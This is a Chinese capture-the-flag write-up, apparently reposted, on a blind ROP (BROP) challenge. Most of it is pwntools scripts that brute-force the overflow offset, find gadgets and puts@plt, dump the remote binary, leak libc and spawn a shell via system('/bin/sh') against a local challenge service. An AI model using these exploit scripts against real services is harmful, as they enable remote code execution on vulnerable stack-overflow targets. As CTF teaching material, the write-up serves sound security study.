点击此处 获得更好的阅读体验
WriteUp来源
https://xz.aliyun.com/t/6912
题目考点
解题思路
标准的brop的思路,本来出题想要加上canary以及write和strcmp,可惜环境容易崩,测试的时候,总是崩溃....没法上题
emm...步骤比较多
nc链接上去,发现,输入了,然后回显,然后没了...
使用%p也没用...那就猜测是否是否有栈区溢出
暴力破解-获取偏移
猜测是否有栈区溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from LibcSearcher import LibcSearchercontext.log_level='debug' ip = "0.0.0.0" port = 10001 def getbufferflow_length () : i = 1 while True : try : io = remote(ip,port) io.recvuntil("Please tell me:" ) io.sendline(i*'a' ) output = io.recvuntil("Goodbye!\n" ,timeout=1 ) print output io.close() if output == "" : return i - 1 else : i += 1 except EOFError: io.close() return i - 1 length = getbufferflow_length() print length
获取stop_gadget--main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import LibcSearchercontext.log_level='debug' gadget_array = [] def get_stop_addr (length) : addr = 0x4007D0 while 1 : try : sh = remote('127.0.0.1' , 10001 ) sh.recvuntil("Please tell me:" ) payload = 'a' * length + p64(addr) sh.sendline(payload) sh.recv() recvstr = sh.recv() sh.close() if recvstr.startswith('Hello' ): gadget_array.append(addr) return gadget_array print 'one success addr: 0x%x' % (addr) addr += 1 except Exception: addr += 1 sh.close() length = 216 stop_gadget = get_stop_addr(length) for i in range(len(stop_gadget)): print 'one success addr: 0x%x' % (stop_gadget[i])
获取brop_gadget--libc_csu_init
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *from LibcSearcher import LibcSearchercontext.log_level='debug' def get_brop_gadget (length, stop_gadget, addr) : try : sh = remote('127.0.0.1' , 10001 ) sh.recvuntil('Please tell me:' ) payload = 'a' * length + p64(addr) + p64(0 ) * 6 + p64( stop_gadget) + p64(0 ) * 10 sh.sendline(payload) sh.recv() content = sh.recv() sh.close() print content if not content.find('Hello' ): return False return True except Exception: sh.close() return False def check_brop_gadget (length, addr) : try : sh = remote('127.0.0.1' , 10001 ) sh.recvuntil('Please tell me:' ) payload = 'a' * length + p64(addr) + 'a' * 8 * 10 sh.sendline(payload) sh.recv() content = sh.recv() sh.close() return False except Exception: sh.close() return True length = 216 stop_gadget = 0x4007d6 addr = 0x4007d6 while 1 : print hex(addr) if get_brop_gadget(length, stop_gadget, addr): print 'possible brop gadget: 0x%x' % addr if check_brop_gadget(length, addr): print 'success brop gadget: 0x%x' % addr break addr += 1
获取puts_plt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import LibcSearchercontext.log_level='debug' def get_puts_addr (length, rdi_ret, stop_gadget) : addr = 0x400630 while 1 : print hex(addr) sh = remote('127.0.0.1' , 10001 ) sh.recvuntil('Please tell me:' ) payload = 'A' * length + p64(rdi_ret) + p64(0x400000 ) + p64( addr) + p64(stop_gadget) sh.sendline(payload) try : sh.recv() content = sh.recv() if content.find('\x7fELF' ): print 'find puts@plt addr: 0x%x' % addr return addr sh.close() addr += 1 except Exception: sh.close() addr += 1 length = 216 stop_gadget = 0x4007d6 brop_gadget = 0x40095a rdi_ret = brop_gadget + 9 puts_plt = get_puts_addr(length,rdi_ret,stop_gadget) print hex(puts_plt)
dump文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *from LibcSearcher import LibcSearchercontext.log_level='debug' def leakfunction (length, rdi_ret, puts_plt, stop_gadget) : addr = 0x4005fd result = "" offset = 0 while addr < 0x401000 : data = leak(length, rdi_ret, puts_plt, addr+offset, stop_gadget) print "data is " + data if data is None : continue else : result = data offset += len(data) print "[*] offset is " + hex(offset) print "[*] addr is " + hex(addr) with open('code' , 'ab' ) as f: f.write(result) def leak (length, rdi_ret, puts_plt, leak_addr, stop_gadget) : sh = remote('127.0.0.1' , 10001 ) payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64( puts_plt) + p64(stop_gadget) sh.recvuntil('Please tell me:' ) sh.sendline(payload) try : hello = 'a' * length + '\x63\x09\x40' print "[*] hello is " + hello sh.recvuntil(hello) data = sh.recv() sh.close() try : data = data[:data.index("\nHello" )] except Exception: data = data if data == "" : data = '\x00' return data except Exception: sh.close() return None length = 216 stop_gadget = 0x4007d6 brop_gadget = 0x40095a rdi_ret = brop_gadget + 9 puts_plt = 0x400635 print "this is " + hex(rdi_ret)leakfunction(length, rdi_ret, puts_plt, stop_gadget)
中间好像会中断一次,应该是申请了太多次,导致的断开连接了...
但是没事,继续泄露就行了,然后dump下来看汇编,找到对应的puts_plt哪行对应的地址...舒服了
一个重点:
这里会发现一个问题,我们的puts_plt = 0x400635 在前面都是正确的,因为代码的确会执行到puts的函数的功能,但是我们在实际查看dump下来的文件的时候,我们会发现这个
很巧的就是这个0x400635是在plt表的开头,然后puts正好是衔接着开头的,所以实际的plt的地址应该是后面那个,不信,可以改掉前面的635->640,是完全都可以运行的
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from LibcSearcher import LibcSearchercontext.log_level='debug' length = 216 stop_gadget = 0x4007d6 brop_gadget = 0x40095a rdi_ret = brop_gadget + 9 puts_plt = 0x400635 puts_got = 0x601018 sh = remote('127.0.0.1' , 10001 ) sh.recvuntil('Please tell me:' ) payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64( stop_gadget) sh.sendline(payload) sh.recvuntil('\x63\x09\x40' ) data = sh.recvuntil('\nHello' , drop=True ) puts_addr = u64(data.ljust(8 , '\x00' )) print "[*] puts_addr is " + hex(puts_addr)libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64( system_addr) + p64(stop_gadget) sh.sendline(payload) sh.interactive()